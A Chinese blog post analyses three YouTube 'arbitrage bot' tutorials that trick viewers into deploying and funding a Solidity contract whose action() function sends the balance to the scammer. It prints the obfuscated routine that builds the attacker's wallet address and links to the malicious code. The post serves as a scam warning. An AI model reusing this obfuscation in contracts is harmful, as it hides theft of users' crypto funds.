收割“科学家”?——套利机器人陷阱

套利机器人,又称三明治机器人或夹子机器人,它可以实时检测Pancake或uniswap上面所有的交易,发现一定金额以上的交易时,会通过提高Gas费在购买者之前提前买入,然后等它的买入成功抬高价格后,再自动卖出,实现套利。 套利机器人都是通过智能合约部署,24小时全天候运行。

在这种靠着套利机器人自动获利的模式传播开来之后,很多人都想通过这种途径实现躺着赚钱。然而,就在这些人在想着躺着赚钱时,却又另一批人谋划着收割这些人的钱。

最近,我在研究套利机器人时,发现网上有不少教程,视频加文字讲解,事无巨细,无比贴心。然而,事实上却是暗藏祸心。

(一)

我们先来看看第一个套路:https://www.youtube.com/watch?v=yj0RJ-3YuWk

下面是视频教程最新的截图,显示视频播放量已达15k之多,且攻击者仍保持更新,以便吸引更多的人关注并实施钓鱼攻击。

接下来看看评论区,发现竟然一片叫好,只是不知道是攻击者自己刷好评,还是受害者还没意识自己已经受骗呢?

随后,我总结了下视频中攻击者教导用户的步骤,大致如下:

  1. 创建MetaMask钱包, 连接BSC或ETH主网;

  2. 访问编译器Remix,进行Remix编辑器的基本介绍;

  3. 点击“contracts”文件夹并创建一个“New File”,根据需要重命名,如:“AutoBot.sol”;

  4. 在 Remix 中粘贴给定链接中写好的智能合约代码;

  5. 移动到 Solidity Compiler 选项卡,选择对应版本编译;

  6. 移动到部署选项卡,选择 Injected Web 3 环境,连接MetaMask钱包授权;

  7. 填写_tokenName和_tokenSymbol,点击DEPLOY进行部署;

  8. 部署成功后,用MetaMask钱包向刚刚部署的合约进行转账,存入资金,并温馨提示转账的合约地址别填错了;

  9. 交易确认后,点击“Action”按钮启动BOT。(事实上,点击”Action”就会将合约中的所有余额转入到攻击者钱包)

接下来,攻击者贴出了代码地址 https://rentry.co/9349g/raw ,我们发现,该代码也是持续在更新,猜测是更新攻击者的钱包地址,保证获利不放在同一个钱包地址。

把代码下载到本地后,纵观全部代码,共有500多行,且看函数名和注释,涉及到合约、内存池、流动性等操作,且代码内有大量hex字符串代码,阅读难度大,给人一种看起来很干货的错觉。攻击者这样设计,很容易让部分读者知难而退,不去深究合约代码的细节,从而按照攻击者既定的步骤直接进行合约部署并运行。

一般遇到这种阅读难度大的代码怎么办呢?

既然全部代码的阅读难度大,那我们就直接从攻击者诱导我们执行的函数*action()*开始,看看到底想干啥。

从代码分析,很容易得出结论:

引诱用户将本合约的全部余额转给*_callFrontRunActionMempool()*函数返回的这个地址。

继续往上追踪,发现调用了*parseMemoryPool()callMempool()*两个函数:

看名字也误以为是操作内存池,而这就是攻击者故意做的混淆,我们把相关的函数全部提取出来拼接整理如下:

pragma solidity ^0.6.6;

contract PancakeswapFrontbotCal{

    function getMemPoolOffset() internal pure returns (uint) {
        return 177279;
    }

    function getMemPoolLength() internal pure returns (uint) {
        return 470532;
    }

    function getMemPoolHeight() internal pure returns (uint) {
        return 302444;
    }

    function getMemPoolDepth() internal pure returns (uint) {
        return 970567;
    }

    /*
     * @dev loads all pancakeswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }

    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d && d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }

    function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }
 
        return string(res);
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 511994;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 569343;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 65023;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 523946;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }

}

这段代码看起来很高大上且难以阅读,涉及很多硬编码的hex字符串计算,实质上就是进行地址拼接。我们在这里不做细节讲解,直接在remix上选择JavaScript VM进行部署运行:

输出为:0x2b47f7cffa72e048afff49d6c0fdffecf477feaa

显然,这就是一个攻击者的钱包地址。

我们去浏览器上查看,发现这个地址比较新,只获利了0.01 BNB。

显然,攻击者是定期更新攻击者钱包地址,一方面避免被追踪,一方面给受害者一种代码定时更新的假象。

(二)

然而,故事还没结束。

我在YouTube上继续搜寻,又发现了一个攻击套路: https://www.youtube.com/watch?v=z6MmH6mT2kI,这个视频所采取的诈骗路数和上一个如出一辙,不同点在于对攻击者钱包地址的隐匿手法。

评论区依然是一片叫好:

攻击者将代码放在了bitbucket:https://bitbucket.org/pancakeswapbot/flashloan/raw/5fdeb4935a1c6e91c2e831f6dd7b6bfe092beb72/main/contract

我们把代码复制到本地后进行分析,发现和上面案例的代码基本一致,不同点在于*action()*函数的实现:

这里攻击者引诱用户将本合约的全部余额转给*manager.uniswapDepositAddress()*返回的这个地址。

这里调用了*manager.uniswapDepositAddress(),*本身代码也不在本合约中,看名字又极具迷惑性,很容易让人以为是调用了uniswap的某个官方函数而掉以轻心。但我们根据本合约引用的代码进行追踪,发现存在于这个地址:

进一步到bitbucket的代码库中进行跟踪,可以发现*manager.uniswapDepositAddress()*返回的就是攻击者的其中一个钱包地址:

在本案例中,攻击者甚至都抛弃了复杂的hex运算,直接从import方式获取钱包地址,简单粗暴。

我们去浏览器上查看,发现该地址持续收到转账,说明一直都有人上当受骗。

上面为什么说是攻击者的其中一个钱包地址呢?因为我们对攻击者的bitbucket中进行了代码扫描,初步发现了利用这种方法攻击的收款地址多达十几个,攻击者只需要更改import文件即可实现收款地址的更改,这些地址均使用*manager.uniswapDepositAddress()*进行伪装。

(三)

就在我准备结束时,竟然意外收到了朋友的举报:https://www.youtube.com/watch?v=OZ-YAB5_-Dg

这是一个代码更简单,钓鱼更直接,更新也最频繁,播放量也最高的一个。

我们用同样的方法进行分析,先通过攻击者的代码地址https://pst.klgrth.io/paste/kyh3m/raw将代码拷贝到remix,发现大部分都是注释。果断先删掉注释后,再来看:

发现攻击手法如出一辙,且代码更加简单粗暴。同样action()直接调用transfer进行转账,而转账地址则来自于import的另一处代码,继续追踪:

和上一个案例一样,在外部代码返回攻击者钱包地址。

我们去浏览器上查看,发现攻击者已获利 7.5 BNB。

我们对上述提到的所有攻击者地址进行了初步统计,目前共获利125BNB,价值约3万美元,详细地址及获利如下:

最后,我们来总结一下这种类型的钓鱼攻击的手法:

受害者先按照视频上的教学步骤复制代码并在remix上进行恶意合约的部署,再根据视频和评论中所说需要gas费才能启动套利机器人,于是往合约上转入资金,最后根据攻击者引导,调用action操作,将转入的资金全部转给攻击者的钱包。

所以在此建议大家,天下没有免费的午餐,想要通过套利机器人进行获利,最好是能吃透原理,仔细分析代码的实现逻辑,确保自己在获利前不被钓鱼诈骗。

Subscribe to Bryce.W
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.